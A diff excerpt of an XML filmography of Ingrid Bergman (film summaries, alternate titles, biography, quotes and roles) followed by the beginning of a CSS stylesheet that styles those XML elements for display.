<resume filmref="f29" img="29.jpg" pdf="29.pdf" realisateur="Jean Renoir">Polnish countess Elena falls in love to a Frensh radical party's candidate, a general, in pre world war I Paris, but another officer pines for her.</resume> |
|||
|
|||
<resume filmref="f30" realisateur="Roberto Rossellini" /> |
|||
|
|||
<resume filmref="f31" realisateur="Roberto Rossellini" /> |
|||
|
|||
<resume filmref="f32" realisateur="Gianni Franciolini, Alfredo Guarini">Five portraits of actresses in their common life, seen as women rather than movie stars.</resume> |
|||
|
|||
<resume filmref="f33" img="33.jpg" pdf="33.pdf" realisateur="Roberto Rossellini">Catherine and Alexander, wealthy and sophisticated, drive to Naples to dispose of a deceased uncle's villa. There's a coolness in their relationship and aspects of Naples add to the strain. She remembers a poet who loved her and died in the war; although she didn't love him, the memory underscores romance's absence from her life now. She tours the museums of Naples and Pompeii, immersing herself in the Neapolitan fascination with the dead and noticing how many women are pregnant; he idles on Capri, flirting with women but drawing back from adultery. With her, he's sarcastic; with him, she's critical. They talk of divorce. Will this foreign couple find insight and direction in Italy?</resume> |
|||
|
|||
<resume filmref="f34" realisateur="Roberto Rossellini" /> |
|||
|
|||
<resume filmref="f35" img="35.jpg" pdf="35.pdf" realisateur="Roberto Rossellini">Karen, a young woman from the baltic countries, marries fisherman Antonio to escape from a prisoners camp. But the life in Antonio's village, Stromboli, threatened by the vulcano, is a tough one and Karen can not get used to it.</resume> |
|||
|
|||
<resume filmref="f36" img="36.jpg" pdf="36.pdf" realisateur="Alfred Hitchcock">In 1831, Irishman Charles Adare travels to Australia to start a new life with the help of his cousin who has just been appointed governor. When he arrives he meets powerful landowner and ex-convict Sam Flusky, who wants to do a business deal with him. Whilst attending a dinner party at Flusky's house, Charles meets Flusky's wife Henrietta who he had known as a child back in Ireland. Henrietta is an alcoholic and seems to be on the verge of madness.</resume> |
|||
|
|||
<resume filmref="f37" img="37.jpg" pdf="37.pdf" realisateur="Victor Fleming" /> |
|||
|
|||
<resume filmref="f38" img="38.jpg" pdf="38.pdf" realisateur="Lewis Milestone">In winter of 1938, Paris is crowded with refugees from the Nazis, who live in the black shadows of night, trying to evade deportation. One such is Dr. Ravic, who practices medicine illegally and stalks his old Nazi enemy Haake with murder in mind. One rainy night, Ravic meets Joan Madou, a kept woman cast adrift by her lover's sudden death. Against Ravic's better judgement, they become involved in a doomed affair; matters come to a crisis on the day war is declared.</resume> |
|||
|
|||
<resume filmref="f39" img="39.jpg" pdf="39.pdf" realisateur="Alfred Hitchcock">Alicia Huberman is a frivolous girl who loves drinks and men; her father was a German spy in USA and he has committed suicide in prison. Government agent Devlin asks the girl to spy on a group of her father's Nazi friends in Rio de Janeiro; this could be her chance to clean her guilty name. The girl falls in love with the agent, but he seems not to be attracted by the life she is living. Alicia accepts the duty and she goes to Brazil with Devlin. The agent suggests Alicia should marry the spy and gain free access into his house, so she does. During a party, Alicia and Devlin find some uranium dust hidden in Sebastian's canteen, but now he has discovered Alicia is a spy and he starts poisoning her day after day.</resume> |
|||
|
|||
<resume filmref="f40" img="40.jpg" pdf="40.pdf" realisateur="Sam Wood">On the death of her mother, the vivacious Clio Dulaine returns from Paris to her childhood home in New Orleans to seek revenge for the humiliation her mother suffered there from her father's wife's family. She also plans to marry a rich man to attain the status and respectability her mother never had, but falls for Texas gambler Clint Maroon instead. When he leaves New Orleans for the horse racing season at Saratoga Springs, she follows him there to seek her fortune --- or someone else's.</resume> |
|||
|
|||
<resume filmref="f41" img="41.jpg" pdf="41.pdf" realisateur="Leo McCarey">Father O'Malley the unconventional priest from 'Going My Way' continues his work for the Catholic Church. This time he is sent to St. Mary's, a run-down parochial school on the verge of condemnation. He and Sister Benedict work together in an attempt to save the school, though their differing methods often lead to good-natured disagreements.</resume> |
|||
|
|||
<resume filmref="f42" img="42.jpg" pdf="42.pdf" realisateur="Alfred Hitchcock">The head of the Green Manors mental asylum Dr. Murchison is retiring to be replaced by Dr. Edwards, a famous psychiatrist. Edwards arrives and is immediately attracted to the beautiful but cold Dr. Constance Petersen. However, it soon becomes apparent that Dr. Edwards is in fact a paranoid amnesiac imposter. He goes on the run with Constance who tries to help his condition and solve the mystery of what happened to the real Dr. Edwards.</resume> |
|||
|
|||
<resume filmref="f43" img="43.jpg" pdf="43.pdf" realisateur="George Cukor">Paula's aunt Alice Alquist, a famous entertainer, is murdered in her home. Paula, who lives with her aunt finds the body. Police fail to find the killer and Paula is sent away to school. Ten years later, Paula returns to London with her new husband. They take up residence in her aunt's house, which she has inherited. Paula is increasingly isolated by her husband but does come to the attention of an admirerer of her aunt, Mr. Brian Cameron.</resume> |
|||
|
|||
<resume filmref="f44" realisateur="?">[Documentaire]</resume> |
|||
|
|||
<resume filmref="f45" img="45.jpg" pdf="45.pdf" realisateur="Sam Wood">Spain in the 1930s is the place to be for a man of action like Robert Jordan. There is a civil war going on and Jordan who has joined up on the side that appeals most to idealists of that era --- like Ernest Hemingway and his friends --- has been given a high-risk assignment up in the mountains. He awaits the right time to blow up a bridge in a cave. Pilar, who is in charge there, has an ability to foretell the future. And so that night she encourages Maria, a young girl ravaged by enemy soldiers, to join Jordan who has decided to spend the night under the stars.</resume> |
|||
|
|||
<resume filmref="f46" img="46.jpg" pdf="46.pdf" realisateur="Michael Curtiz">In World War II Casablanca, Rick Blaine, exiled American and former freedom fighter, runs the most popular nightspot in town. The cynical lone wolf Blaine comes into the possession of two valuable letters of transit. When Nazi Major Strasser arrives in Casablanca, the sycophantic police Captain Renault does what he can to please him, including detaining Czech underground leader Victor Laszlo. Much to Rick's surprise, Lazslo arrives with Ilsa, Rick's one time love. Rick is very bitter towards Ilsa, who ran out on him in Paris, but when he learns she had good reason to, they plan to run off together again using the letters of transit. Well, that was their original plan...</resume> |
|||
|
|||
<resume filmref="f47" img="47.jpg" pdf="47.pdf" realisateur="Gregory Ratoff">Emilie has been hired to care for the four sons of wealthy Adam Stoppard and his wife, Molly. After Molly dies, Adam and the boys grow to depend on Emilie even more. At the same time, Emilie falls in love with Adam. The boys grow up, but Adam insists that Emilie stay on as part of the family. Her relationships with both the boys and Adam become strained after one son marries a gold-digging viper named Hester.</resume> |
|||
|
|||
<resume filmref="f48" img="48.jpg" pdf="48.pdf" realisateur="Victor Fleming">Dr. Jekyll believes good and evil exist in everyone. Experiments reveal his evil side, named Hyde. Experience teaches him how evil Hyde can be: he kills Ivy who earlier expressed interest in Jekyll and Sir Charles, Jekyll's faincee's father.</resume> |
|||
|
|||
<resume filmref="f49" realisateur="W.S. Van Dyke">Old friends Ward and Phillip both become smitten with Phillip's mother's attractive young secretary Stella. But Stella marries Phillip and stands by him as his behavior becomes more and more erratic and his jealousy of Ward increases.</resume> |
|||
|
|||
<resume filmref="f50" img="50.jpg" pdf="50.pdf" realisateur="Per Lindberg">Young Karin Nordbäck lives in a small town. She has a relationship with a sailor, but when she tries to leave him, he shoots her. She survives and begins a new life in Stockholm. There she meets kind people and new friends but the newspapers find her and start to write about her.</resume> |
|||
|
|||
<resume filmref="f51" img="51.jpg" pdf="51.pdf" realisateur="Gregory Ratoff">A concert violinist becomes charmed with his daughter's talented piano teacher. When he invites her to go on tour with him, they make beautiful music away from the concert hall as well. He soon leaves his wife so the two can go off to Italy together.</resume> |
|||
|
|||
<resume filmref="f52" img="52.jpg" pdf="52.pdf" realisateur="Gustav Molander">Funfair worker Valdemar is without his knowledge the illegitimate son of a rich landowner, colonel von Brede. The colonel knows and employs Valdemar as his stable master. The colonel has a young and beautiful ward, Eva, but will she and Valdemar fall in love with each other?</resume> |
|||
|
|||
<resume filmref="f53" img="53.jpg" pdf="53.pdf" realisateur="Gustav Molander">When she was a child, Anna Holm, burned her face. This destroyed her looks, and she has become a mean and bitter woman. She and her 'friends' are black-mailers. One of the victims pay her by letting a plastic surgeon, doctor Wegert, make her beautiful again. Anna becomes a new person and leaves the others. She becomes a governess for a young boy, who will inherit a fortune. The boy has an evil uncle, who wants to see the boy dead, so that he will inherit the fortune. He hires Anna's former colleagues as assassins.</resume> |
|||
|
|||
<resume filmref="f54" realisateur="Carl Frölich" /> |
|||
|
|||
<resume filmref="f55" realisateur="Gustav Molander">Ludvig and Sussi Battwyhl, Louis and Katja Brenner and Julia and Kurt Balzar are upper class millionaires. They don't seem to do any real work but still need a vacation in the mountains. Everybody seems to be romantically involved with everybody. A rich American woman joins them.</resume> |
|||
|
|||
<resume filmref="f56" img="56.jpg" pdf="56.pdf" realisateur="Gustav Molander">The world famous violinist Holger Brandt comes back to his family after a tour. He and his wife have been married for many years, but their love has faded. Their young daughter gets a new piano teacher, Anita Hoffman. Mr. Brandt fall in love with her and together they go on a world tour. But he soon discovers that the feelings for his wife that he thought were dead return.</resume> |
|||
|
|||
<resume filmref="f57" realisateur="Gustav Molander">Eva Bergh works as a bank clerk, but dreams of becoming an artist. At a party she meets the rich Harald Ribe and he instantly falls in love with her. When he proposes to marry her she has no work or place to live and she accepts. At Harald's estate she can live comfortably, but she misses her old friends.</resume> |
|||
|
|||
<resume filmref="f58" realisateur="Gustav Edgren">Lena Bergstroem works in an office and is unhappily in love with her boss, Johan Borg. She decides to quit. Borg's wife won't have any children, and when she becomes pregnant she has an illegal abortion. For some reason, Lena's father believes that it is Lena who has had an abortion.</resume> |
|||
|
|||
<resume filmref="f59" img="59.jpg" pdf="59.pdf" realisateur="Gustav Molander">The Swedenhielm's is an old aristocratic family. The head of the family is professor Rolf Swedenhielm. His three children Bo, Julia and Rolf jr also live in the house. They also have an excellent house maid, Boman. Because of the family's extravagance, they are heading for bankruptcy. But perhaps their problems would be solved if Rolf was awarded the Nobel Prize?</resume> |
|||
|
|||
<resume filmref="f60" realisateur="Ivar Johansson">Daniel has been forced by his father to become a priest. After graduating, he comes to a parish in Haelsingland. During one stormy night, he seduces a young girl, Karin, and rapes her. Filled with regret, he runs out into the dark night and is struck by lightning. He loses his memory and is taken to a distant hospital to recover. Meanwhile Karin gets pregnant and has a child. Eventually Daniel comes back and when he meets Karin his memory returns.</resume> |
|||
|
|||
<resume filmref="f61" img="61.jpg" pdf="61.pdf" realisateur="Edvin Adolphson">In one of the narrow streets of the Old town of Stockholm lies hotel City. It's filled by mysterious characters such as 'Greven', 'Blomman' and others. The police inspector Goeransson is chasing a jewel thief, 'Diamant-Lasse'.</resume> |
|||
|
|||
<resume filmref="f62" realisateur="Gunnar Skoglund" /> |
|||
</resumes> |
|||
|
|||
<aliases> |
|||
<alias filmref="f1" date="1996" pays="UK: TV title">Lost Films of Orson Welles, The</alias> |
|||
|
|||
<alias filmref="f6" date="1979" pays="TV">7th American Film Institute Life Achievement Award: A Salute to Alfred Hitchcock, The</alias> |
|||
|
|||
<alias filmref="f7" date="1978" pays="USA">Autumn Sonata</alias> |
|||
|
|||
<alias filmref="f7" date="1978" pays="West Germany">Herbstsonate</alias> |
|||
|
|||
<alias filmref="f7" date="1978" pays="France">Sonate d'automne</alias> |
|||
|
|||
<alias filmref="f8" date="1976" pays="Italy">Nina</alias> |
|||
|
|||
<alias filmref="f9" date="1975" pays="TV">3rd American Film Institute Life Achievement Award: A Salute to Orson Welles</alias> |
|||
|
|||
<alias filmref="f11" date="1973" pays="UK">Hideaways, The</alias> |
|||
|
|||
<alias filmref="f12" date="1970">Langlois</alias> |
|||
|
|||
<alias filmref="f18" date="1965">Love Goddesses: A History of Sex in the Cinema, The</alias> |
|||
|
|||
<alias filmref="f20" date="1964" pays="West Germany">Besuch, Der</alias> |
|||
|
|||
<alias filmref="f20" date="1964" pays="France">Rancune, La</alias> |
|||
|
|||
<alias filmref="f20" date="1964" pays="Italy">Vendetta della signora, La</alias> |
|||
|
|||
<alias filmref="f22" date="1961" pays="International: English title">Kolka, My Friend</alias> |
|||
|
|||
<alias filmref="f23" date="1961" pays="France">Aimez-vous Brahms?</alias> |
|||
|
|||
<alias filmref="f29" date="1956">Elena and Her Men</alias> |
|||
|
|||
<alias filmref="f29" date="1956" pays="Italy">Eliana e gli uomini</alias> |
|||
|
|||
<alias filmref="f29" date="1956" pays="UK">Paris Does Strange Things</alias> |
|||
|
|||
<alias filmref="f30" date="1954">Joan at the Stake</alias> |
|||
|
|||
<alias filmref="f30" date="1954">Joan of Arc at the Stake</alias> |
|||
|
|||
<alias filmref="f31" date="1954" pays="West Germany">Angst</alias> |
|||
|
|||
<alias filmref="f31" date="1956" pays="USA">Fear</alias> |
|||
|
|||
<alias filmref="f31" date="1955" pays="Italy">Incubo</alias> |
|||
|
|||
<alias filmref="f31" date="1955" pays="Italy">Non credo più all'amore</alias> |
|||
|
|||
<alias filmref="f32" date="1958" pays="USA">Of Life and Love</alias> |
|||
|
|||
<alias filmref="f32" date="1958" pays="USA">We, the Women</alias> |
|||
|
|||
<alias filmref="f33" date="1953" pays="France">Amour est le plus fort, L'</alias> |
|||
|
|||
<alias filmref="f33" date="1955" pays="USA">Journey to Italy</alias> |
|||
|
|||
<alias filmref="f33" date="1953" pays="UK">Lonely Woman, The</alias> |
|||
|
|||
<alias filmref="f33" date="1955" pays="USA">Strangers</alias> |
|||
|
|||
<alias filmref="f33" date="1953" pays="France">Voyage en Italie</alias> |
|||
|
|||
<alias filmref="f33" date="1953">Voyage in Italy</alias> |
|||
|
|||
<alias filmref="f33" date="1953">Voyage to Italy</alias> |
|||
|
|||
<alias filmref="f34" date="1954" pays="USA">Greatest Love, The</alias> |
|||
|
|||
<alias filmref="f34" date="1951" pays="UK">No Greater Love</alias> |
|||
|
|||
<alias filmref="f35" date="1949" pays="Italy">Stromboli, terra di Dio</alias> |
|||
|
|||
<alias filmref="f39" date="1946">Alfred Hitchcock's Notorious</alias> |
|||
|
|||
<alias filmref="f42" date="1945" pays="USA: promotional title">Alfred Hitchcock's Spellbound</alias> |
|||
|
|||
<alias filmref="f43" date="1944" pays="UK">Murder in Thornton Square</alias> |
|||
|
|||
<alias filmref="f44" date="1943" pays="UK">Ingrid Bergman Answers</alias> |
|||
|
|||
<alias filmref="f47" date="1941" pays="USA">Legacy</alias> |
|||
|
|||
<alias filmref="f50" date="1940">June Night</alias> |
|||
|
|||
<alias filmref="f50" date="1940">Night in June, A</alias> |
|||
|
|||
<alias filmref="f51" date="1939" pays="UK">Escape to Happiness</alias> |
|||
|
|||
<alias filmref="f51" date="1939" pays="USA: promotional title">Intermezzo: A Love Story</alias> |
|||
|
|||
<alias filmref="f52" date="1939">One Single Night</alias> |
|||
|
|||
<alias filmref="f52" date="1939">Only One Night</alias> |
|||
|
|||
<alias filmref="f53" date="1939" pays="UK">Woman's Face, A</alias> |
|||
|
|||
<alias filmref="f54" date="1938">Four Companions, The</alias> |
|||
|
|||
<alias filmref="f56" date="1936">Interlude</alias> |
|||
|
|||
<alias filmref="f56" date="1936" pays="USA">Intermezzo</alias> |
|||
|
|||
<alias filmref="f57" date="1936">On the Sunny Side</alias> |
|||
|
|||
<alias filmref="f58" date="1935" pays="USA">Walpurgis Night</alias> |
|||
|
|||
<alias filmref="f59" date="1935" pays="USA">Swedenhielms Family</alias> |
|||
|
|||
<alias filmref="f60" date="1935">Ocean Breakers</alias> |
|||
|
|||
<alias filmref="f60" date="1949" pays="USA">Surf, The</alias> |
|||
|
|||
<alias filmref="f61" date="1935">Count of the Old Monk's Bridge, The</alias> |
|||
|
|||
<alias filmref="f61" date="1935">Count of the Old Town, The</alias> |
|||
</aliases> |
|||
|
|||
<perso> |
|||
<nom>Ingrid Bergman</nom> |
|||
|
|||
<naissance annee="1915" mois="August" jour="29" lieu="Stockholm, Sweden" /> |
|||
|
|||
<mort annee="1982" mois="August" jour="29" lieu="London, England, UK" /> |
|||
|
|||
<biographie> |
|||
<p>Ingrid Bergman was born in Stockholm, Sweden on August 29, 1915. The actress who would be one of the top draws of Hollywood in the 1940's had decided to become an actress after finishing her formal schooling. She had had a taste of acting when she was 17 when she played an uncredited role of a girl standing in line in the Swedish film |
|||
<i>Landskamp</i> |
|||
|
|||
(1932) in 1932. Not much of a beginning for a girl who would be known as |
|||
<citation>Sweden's illustrious gift to Hollywood.</citation> |
|||
|
|||
Her parents had died when she was just a girl and the uncle she lived with didn't want to stand in the way of Ingrid's dream.</p> |
|||
|
|||
<p>The next year she enrolled in the Swedish Royal Theatre but decided that stage acting was not for her. It would be three more years before she would have another chance at a film. When she did, it was more than just a bit part. The film in question was |
|||
<i>Munkbrogreven</i> |
|||
|
|||
(1935) in 1935 where she had a speaking part as Elsa Edlund. After several films that year which would establish her as a class actress, Ingrid appeared in 1936's |
|||
<i>Intermezzo</i> |
|||
|
|||
(1936/I) as Anita Hoffman.</p> |
|||
|
|||
<p>Lucky for her, movie mogul David O. Selzick saw it and sent a representative from MGM to gain rights to the story and have the beautiful Miss Bergman signed to a contract. Once signed, Ingrid came to California and starred in the remake of |
|||
<i>Intermezzo</i> |
|||
|
|||
(1939) in 1939 reprising her original role. The film was a hit and so was Ingrid. Her beauty was unlike anything the movie industry had seen before and her acting was superb. Hollywood was about to find out that they had the most versatile actress the industry had ever seen. Here was a woman who truly cared about the craft she represented. The public fell in love with her.</p> |
|||
|
|||
<p>Ingrid was under contract to go back to Sweden to film |
|||
<i>En enda natt</i> |
|||
|
|||
(1939) in 1939 and |
|||
<i>Juninatten</i> |
|||
|
|||
(1940) in 1940. Back in the US, Ingrid appeared in three films with all being well-received. She made only one film in 1942 opposite the great Humphrey Bogart in the now classic |
|||
<i>Casablanca</i> |
|||
|
|||
(1942). Ingrid was choosing her roles well. In 1943 she was nominated for an Academy Award for her role in |
|||
<i>For Whom the Bell Tolls</i> |
|||
|
|||
(1943), the only film she made that year. The critics and movie public didn't forget her when she made |
|||
<i>Gaslight</i> |
|||
|
|||
(1944) the following year. For her role of Paula Alquist she won the Oscar for Best Actress.</p> |
|||
|
|||
<p>In 1945, Ingrid played in |
|||
<i>Spellbound</i> |
|||
|
|||
(1945), |
|||
<i>Saratoga Trunk</i> |
|||
|
|||
(1945), and |
|||
<i>Bells of St. Mary's, The</i> |
|||
|
|||
(1945). Once again she received her third Oscar nomination for her role of Sister Benedict. With no appearances in 1947, she bounced back with her fourth nomination in |
|||
<i>Joan of Arc</i> |
|||
|
|||
.</p> |
|||
|
|||
<p>In 1949, Ingrid went ot Italy to film |
|||
<i>Stromboli</i> |
|||
|
|||
(1949) which was directed by Roberto Rossellini. She fell in love with him and left her husband, Dr. Peter Lindstrom and daughter Pia. The public was indignant and the Hollywood set appalled. She was pregnant and decided to remain in Italy where she bore a son. In 1952, Ingrid had twins Isotta and Isabella, who is an outstanding actress in her own right as is Pia.</p> |
|||
|
|||
<p>She continued to make films in Italy and finally returned to the Hollywood scene in 1956 in the title role in |
|||
<i>Anastasia</i> |
|||
|
|||
(1956) which was filmed in England. For this she won her second Academy Award. She had scarcely missed a beat. Ingrid continued to bounce between Europe and the US making movies, and fine ones at that. A film with Ingrid Bergman was sure to be a quality production.</p> |
|||
|
|||
<p>In her final big screen performance in 1978's |
|||
<i>Höstsonaten</i> |
|||
|
|||
(1978) she had her final Academy Award nomination. Though she didn't win, it was felt she had made the most sterling performance for her entire career. Ingrid retired but not before she gave an outstanding TV performance in the mini-series |
|||
<i>Woman Called Golda, A</i> |
|||
|
|||
(1982) (TV), a film about the Israeli prime minister, Golda Meir. For this she won an Emmy Award as Best Actress, but, unfortunately, she didn't live to see the fruits of her labor. Ingrid had died on her birthday, from cancer, on August 29, 1982 in London, England. She was 67.</p> |
|||
</biographie> |
|||
|
|||
<mariages> |
|||
<mariage debut="1958" fin="1976" conclusion="divorce">Lars Schmidt</mariage> |
|||
|
|||
<mariage debut="1950" fin="1957" conclusion="divorce">Roberto Rossellini</mariage> |
|||
|
|||
<mariage debut="1937" fin="1950" conclusion="divorce">Dr. Petter Lindström</mariage> |
|||
</mariages> |
|||
|
|||
<infos> |
|||
<info>Mother of Isabella Rossellini, Isotta Rossellini and Pia Lindström.</info> |
|||
|
|||
<info>In 1933 she enrolled in the Royal Theatre of Dramatic Art but later changed to films instead.</info> |
|||
|
|||
<info>Married Lars Schmidt in Caxton Hall next to Westminster Abbey, London, UK.</info> |
|||
|
|||
<info>Folksinger Woody Guthrie wrote a song in praise of her, titled "Ingrid Bergman, " but died before he had a chance to record it. The song can now be heard on Billy Bragg's "Mermaid Avenue" CD.</info> |
|||
|
|||
<info>Ashes scattered at sea off the coast of Sweden.</info> |
|||
|
|||
<info date="1995">Chosen by Empire magazine as one of the 100 Sexiest Stars in film history (#30).</info> |
|||
</infos> |
|||
|
|||
<citations> |
|||
<citation id="c1" auteur="Herself">The best way to keep young is to keep going in whatever it is that keeps you going. With me that's work, and a lot of it. And when a job is finished, relax and have fun.</citation> |
|||
|
|||
<citation id="c2" auteur="Herself">I've gone from saint to whore and back to saint again, all in one lifetime.</citation> |
|||
|
|||
<citation id="c3" auteur="David O. Selznick">The minute I looked at her, I knew I had something. She had an extraordinary quality of purity and nobility and a definite star personality that is very rare.</citation> |
|||
|
|||
<citation id="c4" auteur="Herself">People didn't expect me to have emotion like other women.</citation> |
|||
|
|||
<citation id="c5" auteur="Herself">I've never sought success in order to get fame and money; it's the talent and the passion that count in success.</citation> |
|||
|
|||
<citation id="c6" auteur="Herself">I remember one day sitting at the pool and suddenly the tears were streaming down my cheeks. Why was I so unhappy? I had success. I had security. But it wasn't enough. I was exploding inside.</citation> |
|||
|
|||
<citation id="c7" auteur="Herself">I have no regrets. I wouldn't have lived my life the way I did if I was going to worry about what people were going to say.</citation> |
|||
|
|||
<citation id="c8" auteur="Humphrey Bogart">If a face like Ingrid Bergman's looks at you as though you're adorable, everybody does. You don't have to act very much.</citation> |
|||
|
|||
<citation id="c9" auteur="Herself">Until 45 I can play a woman in love. After 55 I can play grandmothers. But between those ten years, it is difficult for an actress.</citation> |
|||
|
|||
<citation id="c10" auteur="Herself">I don't regret a thing I've done. I only regret the things I didn't do.</citation> |
|||
|
|||
<citation id="c11" auteur="Goldie Hawn">Oh, but she's a woman's woman. I mean, she is everything a woman should be. She's the kind of woman men aren't afraid of because she's so warm. She has a real quality. It's too bad she isn't queen of some country.</citation> |
|||
</citations> |
|||
</perso> |
|||
|
|||
<roles> |
|||
<role filmref="f1" personnage="Herself" date="1996" misc="(archive footage)">Orson Welles: The One-Man Band</role> |
|||
|
|||
<role filmref="f2" personnage="Herself" date="1995" misc="(TV)">First 100 Years: A Celebration of American Movies, The</role> |
|||
|
|||
<role filmref="f3" personnage="Actress in 'Spellbound' Clip" date="1993" misc="(uncredited)">Theremin: An Electronic Odyssey</role> |
|||
|
|||
<role filmref="f4" personnage="Herself" date="1985" misc="(archive footage)">Ingrid</role> |
|||
|
|||
<role filmref="f5" personnage="Golda Meir" date="1982" misc="(TV)">Woman Called Golda, A</role> |
|||
|
|||
<role filmref="f6" personnage="Herself" date="1979" misc="(TV)">Salute to Alfred Hitchcock, A</role> |
|||
|
|||
<role filmref="f7" personnage="Charlotte" date="1978">Höstsonaten</role> |
|||
|
|||
<role filmref="f8" personnage="Countess Sanziani" date="1976">Matter of Time, A</role> |
|||
|
|||
<role filmref="f9" personnage="Herself" date="1975" misc="(TV)">Salute to Orson Welles, A</role> |
|||
|
|||
<role filmref="f10" personnage="Greta" date="1974">Murder on the Orient Express</role> |
|||
|
|||
<role filmref="f11" personnage="Mrs. Frankweiler" date="1973">From the Mixed-Up Files of Mrs. Basil E. Frankweiler</role> |
|||
|
|||
<role filmref="f12" personnage="Herself" date="1970">Henri Langlois</role> |
|||
|
|||
<role filmref="f13" personnage="Libby Meredith" date="1970">Walk in the Spring Rain</role> |
|||
|
|||
<role filmref="f14" personnage="Herself" date="1969" misc="(TV)">Hollywood: The Selznick Years</role> |
|||
|
|||
<role filmref="f15" personnage="Stephanie Dickinson" date="1969">Cactus Flower</role> |
|||
|
|||
<role filmref="f16" personnage="Herself" date="1967" misc="(TV)">Human Voice, The</role> |
|||
|
|||
<role filmref="f17" personnage="Mathilde Hartman" date="1967">Stimulantia</role> |
|||
|
|||
<role filmref="f18" personnage="Herself" date="1965">Love Goddesses, The</role> |
|||
|
|||
<role filmref="f19" personnage="Gerda Millett" date="1965">Yellow Rolls-Royce, The</role> |
|||
|
|||
<role filmref="f20" personnage="Karla Zachanassian" date="1964">Visit, The</role> |
|||
|
|||
<role filmref="f21" personnage="Hedda Gabler" date="1963" misc="(TV)">Hedda Gabler</role> |
|||
|
|||
<role filmref="f22" personnage="Herself (cameo appearance)" date="1961" misc="(uncredited)">Auguste</role> |
|||
|
|||
<role filmref="f23" personnage="Paula Tessier" date="1961">Goodbye Again</role> |
|||
|
|||
<role filmref="f24" personnage="Herself" date="1961" misc="(TV)">Twenty-Four Hours in a Woman's Life</role> |
|||
|
|||
<role filmref="f25" personnage="Governess" date="1959" misc="(TV)">Turn of the Screw, The</role> |
|||
|
|||
<role filmref="f26" personnage="Gladys Aylward" date="1958">Inn of the Sixth Happiness, The</role> |
|||
|
|||
<role filmref="f27" personnage="Anne Kalman" date="1958">Indiscreet</role> |
|||
|
|||
<role filmref="f28" personnage="Anastasia" date="1956">Anastasia</role> |
|||
|
|||
<role filmref="f29" personnage="Elena Sokorowska" date="1956">Elena et les hommes</role> |
|||
|
|||
<role filmref="f30" personnage="Giovanna d'Arco (Joan of Arc)" date="1954">Giovanna d'Arco al rogo</role> |
|||
|
|||
<role filmref="f31" personnage="Irene Wagner" date="1954">Paura, La</role> |
|||
|
|||
<role filmref="f32" personnage="Herself" date="1953">Siamo donne</role> |
|||
|
|||
<role filmref="f33" personnage="Katherine Joyce" date="1953">Viaggio in Italia</role> |
|||
|
|||
<role filmref="f34" personnage="Irene Girard" date="1951">Europa '51</role> |
|||
|
|||
<role filmref="f35" personnage="Karin" date="1949">Stromboli</role> |
|||
|
|||
<role filmref="f36" personnage="Lady Henrietta Flusky" date="1949">Under Capricorn</role> |
|||
|
|||
<role filmref="f37" personnage="Joan" date="1948">Joan of Arc</role> |
|||
|
|||
<role filmref="f38" personnage="Joan Madou" date="1948">Arch of Triumph</role> |
|||
|
|||
<role filmref="f39" personnage="Alicia Huberman" date="1946">Notorious</role> |
|||
|
|||
<role filmref="f40" personnage="Clio Dulaine" date="1945">Saratoga Trunk</role> |
|||
|
|||
<role filmref="f41" personnage="Sister Benedict" date="1945">Bells of St. Mary's, The</role> |
|||
|
|||
<role filmref="f42" personnage="Dr. Constance Peterson" date="1945">Spellbound</role> |
|||
|
|||
<role filmref="f43" personnage="Paula Alquist" date="1944">Gaslight</role> |
|||
|
|||
<role filmref="f44" personnage="Herself" date="1943">Swedes in America</role> |
|||
|
|||
<role filmref="f45" personnage="María" date="1943">For Whom the Bell Tolls</role> |
|||
|
|||
<role filmref="f46" personnage="Ilsa Lund Laszlo" date="1942">Casablanca</role> |
|||
|
|||
<role filmref="f47" personnage="Emilie Gallatin" date="1941">Adam Had Four Sons</role> |
|||
|
|||
<role filmref="f48" personnage="Ivy Peterson" date="1941">Dr. Jekyll and Mr. Hyde</role> |
|||
|
|||
<role filmref="f49" personnage="Stella Bergen" date="1941">Rage in Heaven</role> |
|||
|
|||
<role filmref="f50" personnage="Kerstin Norbäck/Sara Nordanå" date="1940">Juninatten</role> |
|||
|
|||
<role filmref="f51" personnage="Anita Hoffman" date="1939">Intermezzo (remake)</role> |
|||
|
|||
<role filmref="f52" personnage="Eva Beckman" date="1939">En enda natt</role> |
|||
|
|||
<role filmref="f53" personnage="Anna Holm/Miss Paulsson" date="1938">Kvinnas ansikte, En</role> |
|||
|
|||
<role filmref="f54" personnage="Marianne" date="1938">Vier Gesellen, Die</role> |
|||
|
|||
<role filmref="f55" personnage="Julia Balzar" date="1938">Dollar</role> |
|||
|
|||
<role filmref="f56" personnage="Anita Hoffman" date="1936">Intermezzo</role> |
|||
|
|||
<role filmref="f57" personnage="Eva Bergh" date="1936">På solsidan</role> |
|||
|
|||
<role filmref="f58" personnage="Lena Bergström" date="1935">Valborgsmässoafton</role> |
|||
|
|||
<role filmref="f59" personnage="Astrid" date="1935">Swedenhielms</role> |
|||
|
|||
<role filmref="f60" personnage="Karin Ingman" date="1935">Bränningar</role> |
|||
|
|||
<role filmref="f61" personnage="Elsa Edlund" date="1935">Munkbrogreven</role> |
|||
|
|||
<role filmref="f62" personnage="Girl waiting in line" date="1932" misc="(uncredited)">Landskamp</role> |
|||
</roles> |
|||
</filmographie> |
|||
|
|||
@ -0,0 +1,140 @@ |
|||
filmographie, resumes, aliases, perso, roles, resume, p { |
|||
display: block; |
|||
text-align: justify; |
|||
} |
|||
|
|||
resumes:before { |
|||
content: "Résumé"; |
|||
} |
|||
|
|||
aliases:before { |
|||
content: "Autres titres"; |
|||
} |
|||
|
|||
roles:before { |
|||
content: "Roles"; |
|||
} |
|||
|
|||
resumes:before, aliases:before, roles:before, nom { |
|||
font-size: 26pt; |
|||
text-align: center; |
|||
margin-bottom: 10pt; |
|||
display: block; |
|||
} |
|||
|
|||
resume:before { |
|||
content: attr(realisateur) " : "; |
|||
font-weight: bold; |
|||
} |
|||
|
|||
role:before { |
|||
content: attr(date) " - " attr(personnage) " : "; |
|||
font-weight: bold; |
|||
} |
|||
|
|||
alias:before { |
|||
content: attr(date) " : " attr(pays); |
|||
font-weight: bold; |
|||
display: block; |
|||
list-style-position: inside; |
|||
} |
|||
|
|||
naissance:before { |
|||
content: "Birth: " attr(jour) " " attr(mois) " " attr(annee); |
|||
} |
|||
|
|||
mort:before { |
|||
content: "Death: " attr(jour) " " attr(mois) " " attr(annee); |
|||
} |
|||
|
|||
mort { |
|||
margin-bottom: 40pt; |
|||
} |
|||
|
|||
naissance, mort { |
|||
display: block; |
|||
text-align: center; |
|||
font-size: larger; |
|||
} |
|||
|
|||
biographie, infos, citations, mariages { |
|||
display:block; |
|||
margin-left: 15pt; |
|||
} |
|||
|
|||
biographie:before, infos:before, citations:before, mariages:before { |
|||
font-weight: bold; |
|||
